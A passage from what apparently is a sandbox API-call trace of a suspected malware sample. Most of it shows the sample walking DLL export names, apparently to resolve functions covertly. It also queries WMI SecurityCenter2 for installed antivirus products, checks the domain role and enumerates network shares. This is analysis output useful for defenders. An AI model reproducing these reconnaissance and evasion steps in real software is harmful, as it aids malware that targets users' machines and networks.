lpString2="CoDecrementMTAUsage" | out: lpString1="CoDecrementMTAUsage") returned="CoDecrementMTAUsage" [0047.658] lstrlenA (lpString="CODECREMENTMTAUSAGE") returned 19 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoDisableCallCancellation" | out: lpString1="CoDisableCallCancellation") returned="CoDisableCallCancellation" [0047.658] lstrlenA (lpString="CODISABLECALLCANCELLATION") returned 25 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoDisconnectContext" | out: lpString1="CoDisconnectContext") returned="CoDisconnectContext" [0047.658] lstrlenA (lpString="CODISCONNECTCONTEXT") returned 19 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoDisconnectObject" | out: lpString1="CoDisconnectObject") returned="CoDisconnectObject" [0047.658] lstrlenA (lpString="CODISCONNECTOBJECT") returned 18 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoDosDateTimeToFileTime" | out: lpString1="CoDosDateTimeToFileTime") returned="CoDosDateTimeToFileTime" [0047.658] lstrlenA (lpString="CODOSDATETIMETOFILETIME") returned 23 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoEnableCallCancellation" | out: lpString1="CoEnableCallCancellation") returned="CoEnableCallCancellation" [0047.658] lstrlenA (lpString="COENABLECALLCANCELLATION") returned 24 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoFileTimeNow" | out: lpString1="CoFileTimeNow") returned="CoFileTimeNow" [0047.658] lstrlenA (lpString="COFILETIMENOW") returned 13 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoFileTimeToDosDateTime" | out: lpString1="CoFileTimeToDosDateTime") returned="CoFileTimeToDosDateTime" [0047.658] lstrlenA (lpString="COFILETIMETODOSDATETIME") returned 23 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoFreeAllLibraries" | out: lpString1="CoFreeAllLibraries") returned="CoFreeAllLibraries" [0047.659] lstrlenA (lpString="COFREEALLLIBRARIES") returned 18 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoFreeLibrary" | out: lpString1="CoFreeLibrary") returned="CoFreeLibrary" [0047.659] lstrlenA (lpString="COFREELIBRARY") returned 13 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoFreeUnusedLibraries" | out: lpString1="CoFreeUnusedLibraries") returned="CoFreeUnusedLibraries" [0047.659] lstrlenA (lpString="COFREEUNUSEDLIBRARIES") returned 21 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoFreeUnusedLibrariesEx" | out: lpString1="CoFreeUnusedLibrariesEx") returned="CoFreeUnusedLibrariesEx" [0047.659] lstrlenA (lpString="COFREEUNUSEDLIBRARIESEX") returned 23 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetActivationState" | out: lpString1="CoGetActivationState") returned="CoGetActivationState" [0047.659] lstrlenA (lpString="COGETACTIVATIONSTATE") returned 20 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetApartmentID" | out: lpString1="CoGetApartmentID") returned="CoGetApartmentID" [0047.659] lstrlenA (lpString="COGETAPARTMENTID") returned 16 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetApartmentType" | out: lpString1="CoGetApartmentType") returned="CoGetApartmentType" [0047.659] lstrlenA (lpString="COGETAPARTMENTTYPE") returned 18 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetCallContext" | out: lpString1="CoGetCallContext") returned="CoGetCallContext" [0047.659] lstrlenA (lpString="COGETCALLCONTEXT") returned 16 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetCallState" | out: lpString1="CoGetCallState") returned="CoGetCallState" [0047.659] lstrlenA (lpString="COGETCALLSTATE") returned 14 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetCallerTID" | out: lpString1="CoGetCallerTID") returned="CoGetCallerTID" [0047.659] lstrlenA (lpString="COGETCALLERTID") returned 14 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetCancelObject" | out: lpString1="CoGetCancelObject") returned="CoGetCancelObject" [0047.659] lstrlenA (lpString="COGETCANCELOBJECT") returned 17 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetClassObject" | out: lpString1="CoGetClassObject") returned="CoGetClassObject" [0047.659] lstrlenA (lpString="COGETCLASSOBJECT") returned 16 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetClassVersion" | out: lpString1="CoGetClassVersion") returned="CoGetClassVersion" [0047.659] lstrlenA (lpString="COGETCLASSVERSION") returned 17 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetComCatalog" | out: lpString1="CoGetComCatalog") returned="CoGetComCatalog" [0047.659] lstrlenA (lpString="COGETCOMCATALOG") returned 15 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetContextToken" | out: lpString1="CoGetContextToken") returned="CoGetContextToken" [0047.659] lstrlenA (lpString="COGETCONTEXTTOKEN") returned 17 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetCurrentLogicalThreadId" | out: lpString1="CoGetCurrentLogicalThreadId") returned="CoGetCurrentLogicalThreadId" [0047.659] lstrlenA (lpString="COGETCURRENTLOGICALTHREADID") returned 27 [0047.659] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetCurrentProcess" | out: lpString1="CoGetCurrentProcess") returned="CoGetCurrentProcess" [0047.659] lstrlenA (lpString="COGETCURRENTPROCESS") returned 19 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetDefaultContext" | out: lpString1="CoGetDefaultContext") returned="CoGetDefaultContext" [0047.660] lstrlenA (lpString="COGETDEFAULTCONTEXT") returned 19 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetInstanceFromFile" | out: lpString1="CoGetInstanceFromFile") returned="CoGetInstanceFromFile" [0047.660] lstrlenA (lpString="COGETINSTANCEFROMFILE") returned 21 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetInstanceFromIStorage" | out: lpString1="CoGetInstanceFromIStorage") returned="CoGetInstanceFromIStorage" [0047.660] lstrlenA (lpString="COGETINSTANCEFROMISTORAGE") returned 25 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetInterceptor" | out: lpString1="CoGetInterceptor") returned="CoGetInterceptor" [0047.660] lstrlenA (lpString="COGETINTERCEPTOR") returned 16 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetInterceptorForOle32" | out: lpString1="CoGetInterceptorForOle32") returned="CoGetInterceptorForOle32" [0047.660] lstrlenA (lpString="COGETINTERCEPTORFOROLE32") returned 24 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetInterceptorFromTypeInfo" | out: lpString1="CoGetInterceptorFromTypeInfo") returned="CoGetInterceptorFromTypeInfo" [0047.660] lstrlenA (lpString="COGETINTERCEPTORFROMTYPEINFO") returned 28 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetInterfaceAndReleaseStream" | out: lpString1="CoGetInterfaceAndReleaseStream") returned="CoGetInterfaceAndReleaseStream" [0047.660] lstrlenA (lpString="COGETINTERFACEANDRELEASESTREAM") returned 30 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetMalloc" | out: lpString1="CoGetMalloc") returned="CoGetMalloc" [0047.660] lstrlenA (lpString="COGETMALLOC") returned 11 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetMarshalSizeMax" | out: lpString1="CoGetMarshalSizeMax") returned="CoGetMarshalSizeMax" [0047.660] lstrlenA (lpString="COGETMARSHALSIZEMAX") returned 19 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetModuleType" | out: lpString1="CoGetModuleType") returned="CoGetModuleType" [0047.660] lstrlenA (lpString="COGETMODULETYPE") returned 15 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetObject" | out: lpString1="CoGetObject") returned="CoGetObject" [0047.660] lstrlenA (lpString="COGETOBJECT") returned 11 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetObjectContext" | out: lpString1="CoGetObjectContext") returned="CoGetObjectContext" [0047.660] lstrlenA (lpString="COGETOBJECTCONTEXT") returned 18 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetPSClsid" | out: lpString1="CoGetPSClsid") returned="CoGetPSClsid" [0047.660] lstrlenA (lpString="COGETPSCLSID") returned 12 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetProcessIdentifier" | out: lpString1="CoGetProcessIdentifier") returned="CoGetProcessIdentifier" [0047.660] lstrlenA (lpString="COGETPROCESSIDENTIFIER") returned 22 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetStandardMarshal" | out: lpString1="CoGetStandardMarshal") returned="CoGetStandardMarshal" [0047.660] lstrlenA (lpString="COGETSTANDARDMARSHAL") returned 20 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetStdMarshalEx" | out: lpString1="CoGetStdMarshalEx") returned="CoGetStdMarshalEx" [0047.660] lstrlenA (lpString="COGETSTDMARSHALEX") returned 17 [0047.660] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetSystemSecurityPermissions" | out: lpString1="CoGetSystemSecurityPermissions") returned="CoGetSystemSecurityPermissions" [0047.661] lstrlenA (lpString="COGETSYSTEMSECURITYPERMISSIONS") returned 30 [0047.661] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetSystemWow64DirectoryW" | out: lpString1="CoGetSystemWow64DirectoryW") returned="CoGetSystemWow64DirectoryW" [0047.661] lstrlenA (lpString="COGETSYSTEMWOW64DIRECTORYW") returned 26 [0047.661] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoGetTreatAsClass" | out: lpString1="CoGetTreatAsClass") returned="CoGetTreatAsClass" [0047.661] lstrlenA (lpString="COGETTREATASCLASS") returned 17 [0047.661] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoHandlePriorityEventsFromMessagePump" | out: lpString1="CoHandlePriorityEventsFromMessagePump") returned="CoHandlePriorityEventsFromMessagePump" [0047.661] lstrlenA (lpString="COHANDLEPRIORITYEVENTSFROMMESSAGEPUMP") returned 37 [0047.661] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoImpersonateClient" | out: lpString1="CoImpersonateClient") returned="CoImpersonateClient" [0047.661] lstrlenA (lpString="COIMPERSONATECLIENT") returned 19 [0047.661] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoIncrementMTAUsage" | out: lpString1="CoIncrementMTAUsage") returned="CoIncrementMTAUsage" [0047.661] lstrlenA (lpString="COINCREMENTMTAUSAGE") returned 19 [0047.661] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoInitialize" | out: lpString1="CoInitialize") returned="CoInitialize" [0047.661] lstrlenA (lpString="COINITIALIZE") returned 12 [0047.661] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoInitializeEx" | out: lpString1="CoInitializeEx") returned="CoInitializeEx" [0047.661] lstrlenA (lpString="COINITIALIZEEX") returned 14 [0047.661] lstrcatA (in: lpString1="api-ms-win-core-com-l1-1-0.", lpString2="dll" | out: lpString1="api-ms-win-core-com-l1-1-0.dll") returned="api-ms-win-core-com-l1-1-0.dll" [0047.661] GetModuleHandleA (lpModuleName="api-ms-win-core-com-l1-1-0.dll") returned 0x75c50000 [0047.662] GetProcAddress (hModule=0x75c50000, lpProcName="CoInitializeEx") returned 0x75d32590 [0047.662] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0047.664] lstrlenA (lpString="ole32.dll") returned 9 [0047.664] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x77920000 [0047.664] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="BindMoniker" | out: lpString1="BindMoniker") returned="BindMoniker" [0047.664] lstrlenA (lpString="BINDMONIKER") returned 11 [0047.664] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CLIPFORMAT_UserFree" | out: lpString1="CLIPFORMAT_UserFree") returned="CLIPFORMAT_UserFree" [0047.664] lstrlenA (lpString="CLIPFORMAT_USERFREE") returned 19 [0047.664] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CLIPFORMAT_UserFreeExt" | out: lpString1="CLIPFORMAT_UserFreeExt") returned="CLIPFORMAT_UserFreeExt" [0047.664] lstrlenA (lpString="CLIPFORMAT_USERFREEEXT") returned 22 [0047.664] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CLIPFORMAT_UserMarshal" | out: lpString1="CLIPFORMAT_UserMarshal") returned="CLIPFORMAT_UserMarshal" [0047.664] lstrlenA (lpString="CLIPFORMAT_USERMARSHAL") returned 22 [0047.664] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CLIPFORMAT_UserMarshalExt" | out: lpString1="CLIPFORMAT_UserMarshalExt") returned="CLIPFORMAT_UserMarshalExt" [0047.664] lstrlenA (lpString="CLIPFORMAT_USERMARSHALEXT") returned 25 [0047.664] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CLIPFORMAT_UserSize" | out: lpString1="CLIPFORMAT_UserSize") returned="CLIPFORMAT_UserSize" [0047.664] lstrlenA (lpString="CLIPFORMAT_USERSIZE") returned 19 [0047.664] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CLIPFORMAT_UserSizeExt" | out: lpString1="CLIPFORMAT_UserSizeExt") returned="CLIPFORMAT_UserSizeExt" [0047.664] lstrlenA (lpString="CLIPFORMAT_USERSIZEEXT") returned 22 [0047.664] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CLIPFORMAT_UserUnmarshal" | out: lpString1="CLIPFORMAT_UserUnmarshal") returned="CLIPFORMAT_UserUnmarshal" [0047.664] lstrlenA (lpString="CLIPFORMAT_USERUNMARSHAL") returned 24 [0047.664] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CLIPFORMAT_UserUnmarshalExt" | out: lpString1="CLIPFORMAT_UserUnmarshalExt") returned="CLIPFORMAT_UserUnmarshalExt" [0047.665] lstrlenA (lpString="CLIPFORMAT_USERUNMARSHALEXT") returned 27 [0047.665] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CLSIDFromOle1Class" | out: lpString1="CLSIDFromOle1Class") returned="CLSIDFromOle1Class" [0047.665] lstrlenA (lpString="CLSIDFROMOLE1CLASS") returned 18 [0047.665] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CLSIDFromProgID" | out: lpString1="CLSIDFromProgID") returned="CLSIDFromProgID" [0047.665] lstrlenA (lpString="CLSIDFROMPROGID") returned 15 [0047.665] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CLSIDFromProgIDEx" | out: lpString1="CLSIDFromProgIDEx") returned="CLSIDFromProgIDEx" [0047.665] lstrlenA (lpString="CLSIDFROMPROGIDEX") returned 17 [0047.665] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CLSIDFromString" | out: lpString1="CLSIDFromString") returned="CLSIDFromString" [0047.665] lstrlenA (lpString="CLSIDFROMSTRING") returned 15 [0047.665] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CStdAsyncStubBuffer2_Connect" | out: lpString1="CStdAsyncStubBuffer2_Connect") returned="CStdAsyncStubBuffer2_Connect" [0047.665] lstrlenA (lpString="CSTDASYNCSTUBBUFFER2_CONNECT") returned 28 [0047.665] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CStdAsyncStubBuffer2_Disconnect" | out: lpString1="CStdAsyncStubBuffer2_Disconnect") returned="CStdAsyncStubBuffer2_Disconnect" [0047.665] lstrlenA (lpString="CSTDASYNCSTUBBUFFER2_DISCONNECT") returned 31 [0047.665] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CStdAsyncStubBuffer2_Release" | out: lpString1="CStdAsyncStubBuffer2_Release") returned="CStdAsyncStubBuffer2_Release" [0047.665] lstrlenA (lpString="CSTDASYNCSTUBBUFFER2_RELEASE") returned 28 [0047.665] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CStdAsyncStubBuffer_AddRef" | out: lpString1="CStdAsyncStubBuffer_AddRef") returned="CStdAsyncStubBuffer_AddRef" [0047.665] lstrlenA (lpString="CSTDASYNCSTUBBUFFER_ADDREF") returned 26 [0047.665] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CStdAsyncStubBuffer_Connect" | out: lpString1="CStdAsyncStubBuffer_Connect") returned="CStdAsyncStubBuffer_Connect" [0047.665] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CStdAsyncStubBuffer_Disconnect" | out: lpString1="CStdAsyncStubBuffer_Disconnect") returned="CStdAsyncStubBuffer_Disconnect" [0047.665] lstrcpyA (in: lpString1=0x21fe3fc, lpString2="CStdAsyncStubBuffer_Invoke" | out: lpString1="CStdAsyncStubBuffer_Invoke") returned="CStdAsyncStubBuffer_Invoke" [0047.665] GetModuleHandleA (lpModuleName="api-ms-win-core-com-l1-1-0.dll") returned 0x75c50000 [0047.666] GetProcAddress (hModule=0x75c50000, lpProcName="CoInitializeSecurity") returned 0x75d49710 [0047.666] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0049.197] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x77920000 [0049.197] GetModuleHandleA (lpModuleName="api-ms-win-core-com-l1-1-0.dll") returned 0x75c50000 [0049.197] GetProcAddress (hModule=0x75c50000, lpProcName="CoCreateInstance") returned 0x75cf7490 [0049.197] CoCreateInstance (in: rclsid=0x446ae4*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x446af4*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x2200004 | out: ppv=0x2200004*=0x686460) returned 0x0 [0051.380] WbemLocator:IWbemLocator:ConnectServer (in: This=0x686460, strNetworkResource="root\\SecurityCenter2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x2200008 | out: ppNamespace=0x2200008*=0x67e138) returned 0x0 [0060.467] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x77920000 [0060.467] GetModuleHandleA (lpModuleName="api-ms-win-core-com-l1-1-0.dll") returned 0x75c50000 [0060.467] GetProcAddress (hModule=0x75c50000, lpProcName="CoSetProxyBlanket") returned 0x75d19510 [0060.467] CoSetProxyBlanket (pProxy=0x67e138, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x3, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0060.468] IWbemServices:ExecQuery (in: This=0x67e138, strQueryLanguage="WQL", strQuery="Select * From AntiVirusPr", lFlags=32, pCtx=0x0, ppEnum=0x220000c | out: ppEnum=0x220000c*=0x69aeb8) returned 0x0 [0060.813] IEnumWbemClassObject:Next (in: This=0x69aeb8, lTimeout=-1, uCount=0x1, apObjects=0x21ff068, puReturned=0x21ff06c | out: apObjects=0x21ff068*=0x6997f0, puReturned=0x21ff06c*=0x1) returned 0x0 [0060.863] IWbemClassObject:Get (in: This=0x6997f0, wszName="displayName", lFlags=0, pVal=0x21ff078*(varType=0x4470, wReserved1=0xb34b, wReserved2=0xffcc, wReserved3=0x21f, varVal1=0x743b77f2, varVal2=0xffffffff), pType=0x0, plFlavor=0x0 | out: pVal=0x21ff078*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Windows Defender", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0060.864] lstrcatW (in: lpString1="", lpString2="Windows Defender" | out: lpString1="Windows Defender") returned="Windows Defender" [0060.864] lstrcatW (in: lpString1="Windows Defender", lpString2="|" | out: lpString1="Windows Defender|") returned="Windows Defender|" [0060.864] IUnknown:Release (This=0x6997f0) returned 0x0 [0060.864] IEnumWbemClassObject:Next (in: This=0x69aeb8, lTimeout=-1, uCount=0x1, apObjects=0x21ff068, puReturned=0x21ff06c | out: apObjects=0x21ff068*=0x6997f0, puReturned=0x21ff06c*=0x0) returned 0x1 [0060.865] DsRoleGetPrimaryDomainInformation () returned 0x0 [0060.867] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x0, lphEnum=0x21ff084 | out: lphEnum=0x21ff084*=0x68d6a8) returned 0x0 [0068.757] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x2a30000 [0068.757] WNetEnumResourceW (in: hEnum=0x68d6a8, lpcCount=0x21ff088, lpBuffer=0x2a30000, lpBufferSize=0x21ff080 | out: lpcCount=0x21ff088, lpBuffer=0x2a30000, lpBufferSize=0x21ff080) returned 0x0 [0068.757] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x2a30000, lphEnum=0x21ff054 | out: lphEnum=0x21ff054*=0x699678) returned 0x0 [0068.759] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x2a40000 [0068.760] WNetEnumResourceW (in: hEnum=0x699678, lpcCount=0x21ff058, lpBuffer=0x2a40000, lpBufferSize=0x21ff050 | out: lpcCount=0x21ff058, lpBuffer=0x2a40000, lpBufferSize=0x21ff050) returned 0x103 [0068.760] lstrlenA (lpString="kernel32.dll") returned 12 [0068.760] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0068.760] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0068.760] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0068.760] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0068.760] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0068.760] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0068.760] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0068.761] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0068.761] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0068.761] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0068.761] lstrlenA (lpString="ADDATOMA") returned 8 [0068.761] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0068.761] lstrlenA (lpString="ADDATOMW") returned 8 [0068.761] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0068.761] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0068.761] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0068.761] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0068.761] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0068.761] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0068.761] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0068.761] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0068.761] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0068.761] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0068.761] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0068.761] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0068.761] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0068.761] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0068.761] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0068.762] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0068.762] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0068.762] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0068.762] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0068.762] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0068.762] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0068.762] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0068.762] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0068.762] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0068.762] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0068.762] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0068.762] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0068.762] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0068.762] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0068.762] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0068.762] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0068.762] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0068.762] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0068.762] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0068.762] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0068.762] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0068.762] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0068.762] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0068.762] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0068.762] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0068.762] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0068.762] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0068.762] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0068.762] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0068.763] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0068.763] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0068.763] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0068.763] 